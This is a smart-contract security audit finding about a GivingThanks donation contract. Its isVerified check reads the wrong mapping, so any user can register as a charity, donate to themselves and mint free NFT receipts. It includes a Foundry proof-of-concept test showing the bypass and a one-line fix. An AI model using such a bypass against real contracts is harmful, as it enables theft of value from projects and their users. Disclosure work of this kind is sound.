**Description:** The `CharityRegistry:isVerified` should return `verifiedCharities` instead of `registeredCharities`.
```javascript
function isVerified(address charity) public view returns (bool) {
@> return registeredCharities[charity];
}
```
**Impact:** The `registeredCharities` can be added by any user, without being verified by the admin, making `isVerified` function easy to bypass.
donor can set himself as a registeredCharity and donate to himself to get free NFTs.
**Proof of Concept:**
Note: need to fix the registry wrong param first
```diff
constructor(address _registry) ERC721("DonationReceipt", "DRC") {
- registry = CharityRegistry(msg.sender);
+ registry = CharityRegistry(_registry);
owner = msg.sender;
tokenCounter = 0;
}
```
then place the following into `GivingThanks.t.sol`.
```javascript
function testGetNFTForFree() public {
vm.deal(donor, 10 ether);
vm.startPrank(donor);
uint256 initBalance = donor.balance;
registryContract.registerCharity(donor);
assertEq(registryContract.isVerified(donor), true);
charityContractFix.donate{value: 1 ether}(donor);
assertEq(charityContractFix.ownerOf(0), donor);
assertEq(donor.balance, initBalance);
vm.stopPrank();
}
```
donor can mint free NFT with only gas fee cost.
**Recommended Mitigation:**
In `CharityRegistry.sol`
```diff
function isVerified(address charity) public view returns (bool) {
- return registeredCharities[charity];
+ return verifiedCharities[charity];
}
```